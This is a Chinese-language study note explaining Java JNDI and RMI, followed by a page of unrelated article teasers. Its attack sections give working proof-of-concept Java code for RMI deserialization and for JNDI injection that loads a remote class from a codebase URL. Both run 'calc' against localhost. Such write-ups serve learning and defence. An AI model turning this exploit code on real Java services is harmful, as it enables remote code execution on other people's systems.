【心得】java JNDI配合RMI实现注入个人笔记

目录

JNDI

RMI

基本概念

RMI 基本逻辑

恶意利用

JNDI注入+RMI实现攻击


JNDI

Java Naming and Directory Interface  Java 命令和目录接口


让配置参数 和  代码 解耦的规范或者思想


低耦合 高内聚


Name
命名  

java对象 通过 命名  绑定到 容器环境

java对象和一个特定的名称关联在一起

Directory

将一个对象的所有属性信息保存在一个容器环境

RMI

基本概念

Remote Method Invocation  Java远程方法调用

实现java程序之间jvm的远程通信

例子

某个负责计算   1台计算机  需要很久   如果这台计算机支持 RMI调用,那么它可以把任务分配和远程的多台虚拟机 进行同步计算,提高计算效率

RMI 基本逻辑

分为三部分   Server  Client  Registry

Server  提供远程的对象
Client 调用远程的对象
Registry 注册表 存放远程对象的位置  ip 端口  标识符

恶意利用

客户端 通过 lookup方法,找绑定的恶意类

1 远程对象有恶意方法,可以直接调用
2 远程对象有可利用的readObject 方法,可以传输Object参数,实现反序列化攻击

举例:

package org.example;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class Exp implements Serializable {private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {objectInputStream.defaultReadObject();Runtime.getRuntime().exec("calc");}}
package org.example;import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {public static void main(String[] args) throws IOException, NotBoundException {Registry registry = LocateRegistry.getRegistry("localhost", 8081);RMITest rmiTest = (RMITest) registry.lookup("Z3r4y");rmiTest.ctfshow(new Exp());}
}
package org.example;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, AlreadyBoundException {RMITestmpl rmiTest = new RMITestmpl();Registry registry = LocateRegistry.createRegistry(8081);registry.bind("Z3r4y",rmiTest);System.out.println("RMI Server is listening ...");}
}
package org.example;import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;public interface RMITest extends Remote {public String testcalc() throws IOException;public void ctfshow(Object obj) throws RemoteException;
}
package org.example;import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;public class RMITestmpl extends UnicastRemoteObject implements RMITest{protected RMITestmpl() throws RemoteException {}@Overridepublic String testcalc() throws IOException {Runtime.getRuntime().exec("calc");return null;}@Overridepublic void ctfshow(Object obj) {System.out.println(obj);}
}

开客户端和服务端就可以成功弹计算器

JNDI注入+RMI实现攻击

package org.example;import java.io.IOException;public class payload {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}
package org.example;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.NotBoundException;
import java.util.Hashtable;public class RMIClient {public static void main(String[] args) throws IOException, NotBoundException, NamingException {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("com.sun.jndi.rmi.ldap.object.trustURLCodebase","true");Hashtable env=new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:8081");InitialContext context = new InitialContext(env);String url="rmi://localhost:8081/Z3r4y";context.lookup(url);}
}
package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {Registry registry = LocateRegistry.createRegistry(8081);System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Reference reference=new Reference("payload","payload","http://localhost/");ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);registry.bind("Z3r4y",referenceWrapper);System.out.println("RMI Server is listening ...");}
}

客户端  通过 lookup 方法  注入了rmi协议  ,访问了远程的rmi服务器

rmi服务器返回了引用对象 ,而引用对象包含了类的加载工厂

如果本地没有这个类 ,就去加载工厂去加载类的字节码

而加载工厂是本地的localhost80端口,目录下,有payload.class文件

客户端 再去访问localhost的80端口,去下载payload.class的字节码 ,然后Class.forname加载了这个字节码

造成了payload.class这个类里面的静态代码被执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/651537.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

REVIT二次开发万能刷

将这两个参数赋予其他参数 步骤2 将来做个可以调控的版本 using System; using System.Collections.Generic; using System.Lin

华为机考入门python3--(4)牛客4-字符串分隔

分类:字符串 知识点: 复制符号* 复制3个0 0*3 000 字符串截取 截取第i位到j-1位 str[i:j] 题目来自【牛客】 input_str input().strip()# 先补齐 if len(input_str) % 8 ! 0: input_str 0 * (8 - len(input_str) % 8) # 每8个分 out…

uniapp微信小程序-请求二次封装(直接可用)

一、请求封装优点 代码重用性:通过封装请求,你可以在整个项目中重用相同的请求逻辑。这样一来,如果 API 发生变化或者需要进行优化,你只需在一个地方修改代码,而不是在每个使用这个请求的地方都进行修改。 可维护性&a…

JAVA学习笔记三

1.java执行流程分析 2.什么是编译 javac Hello.java 1.有了java源文件,通过编译器将其编译成JVM可以识别的字节码文件 2.在该源文件目录下,通过javac编译工具对Hello.java文件进行编译 3.如果程序没有错误,没有任何提示,但在…

Linux下的进程操作

进程概念 ps -elf:查看操作系统的所有进程(Linux命令) ctrl z:把进程切换到后台 crtl c:结束进程 fg:把进程切换到前台 获取进程进程号和父进程号 函数原型: pid_t getpid(void); //pid_t…

文件上传之大文件分块上传进度控制处理

在分块上传内容结束以后的事件监听,我们会实现 unlinkSync 删除临时文件操作,那么试想一下,在这个事件监听中,我们是否可以通过totalChunks以及currentChunk获取当前上传的进度情况呢? 后端 upload上传接口&#xff…

【GitHub项目推荐--十六进制编辑器】【转载】

一款名为 ImHex 的十六进制编辑器获得了 15.3k 的 Star。十六进制编辑器可以让你以十六进制的形式查看或编辑文件的二进制数据,并用较为友好的界面来编辑二进制数据,和常见的十六进制编辑器 GNOME Hex Editor 等不一样,ImHex 功能非常强大&am…

Unity 光照

光照烘培 光照模式切换为 Baked 或 Mixed,Baked 模式完全使用光照贴图模拟光照,运行时修改光照颜色不生效,Mixed 模式也使用光照贴图,并且进行一些实时运算,运行时修改光照颜色会生效 受光照影响的物体勾选 Contribute…

02-opencv-上

机器视觉概述 机器视觉是人工智能正在快速发展的一个分支。简单说来,机器视觉就是用机器代替人眼来做测量和判断。机器视觉系统是通过机器视觉产品(即图像摄取装置,分CMOS和CCD两种)将被摄取目标转换成图像信号,传送给专用的图像处理系统&…

Cortex-M4外设

关于Cortex-M4外设 专用外设总线(PPB)的地址映射为: 软件可以读取MPU类型寄存器0xE000ED90,以测试是否存在内存保护单元(MPU)。 Privileged:只有特权软件才能访问寄存器。Unprivileged&#…

Spring Cloud + Vue前后端分离-第13章 网站开发

源代码在GitHub - 629y/course: Spring Cloud Vue前后端分离-在线课程 Spring Cloud Vue前后端分离-第13章 网站开发 13-1 网站模块的搭建 新建web模板 1.网站开发,增加web模块,使用命令:vue create web vue版本4.2.3 大家拿到一个v…

浪花 - 后端接口完善

一、队伍已加入用户数量 1. 封装的响应对象 UserTeamVO 新增字段 hasJoinNum 2. 查询队伍 id 列表 3. 分组过滤,将 team_id 相同的 userTeam 分到同一组 4. 获取每一组的 userTeam 数量,即一个 team_id 对应几个userTeam(用户数量&#x…

Qt两种定时器

QT 中使用定时器,有两种方式: 定时器类:QTimer定时器事件:QEvent::Timer,对应的子类是 QTimerEvent 简单讲一下两种用法: QTimer: QTimer 需要创建QTimer对象 然后需要给定时器绑定 定时器超…

Qt : Style Sheet

When a style sheet is active, the QStyle returned by QWidget::style() is a wrapper “style sheet” style, not the platform-specific style. The wrapper style ensures that any active style sheet is respected and otherwise forwards the drawing operations to t…

消息中间件之RocketMQ(四)

RocketMQ高性能背后的核心原理 1.读队列与写队列 在RocketMQ的管理控制台创建Topic时,可以看到要单独设置读队列和写队列。 通常在运行时,都需要设置读队列写队列。perm字段表示Topic的权限,有三个可选项 2:禁写禁订阅 4: 可订阅…

【前端web入门第二天】01 html语法实现列表与表格

html语法实现列表与表格 文章目录: 1.列表 1.1 无序列表1.2 有序列表1.3 定义列表 2.表格 2.1 表格基本结构2.2 表格结构标签 写在最前,第二天学习目标: 列表 表格 表单 元素为嵌套关系 1.列表 作用:布局内容排列整齐的区域。 列表分类:无序列表、有序列表、定义列表。 1…

pysot中eval多种算法比较和画图

安装miktex和Texwork,记得更新miktex,链接https://miktex.org/download, 参考https://blog.csdn.net/weixin_42495721/article/details/110855071 我用的是pysot官方的库,里面包括eval和test、train等py文件。 路径结构为&#x…

大数据期望最大化(EM)算法:从理论到实战全解析

文章目录 大数据期望最大化(EM)算法:从理论到实战全解析一、引言概率模型与隐变量极大似然估计(MLE)Jensen不等式 二、基础数学原理条件概率与联合概率似然函数Kullback-Leibler散度贝叶斯推断 三、EM算法的核心思想期…

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之Swiper容器组件

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之Swiper容器组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、Swiper容器组件 滑块视图容器,提供子组件滑动轮播显示的能力。…

【网站项目】基于SSM的228图书商城网站

🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。🌹赠送计算机毕业设计600个选题excel文件,帮助大学选题。赠送开题报告模板&#xff…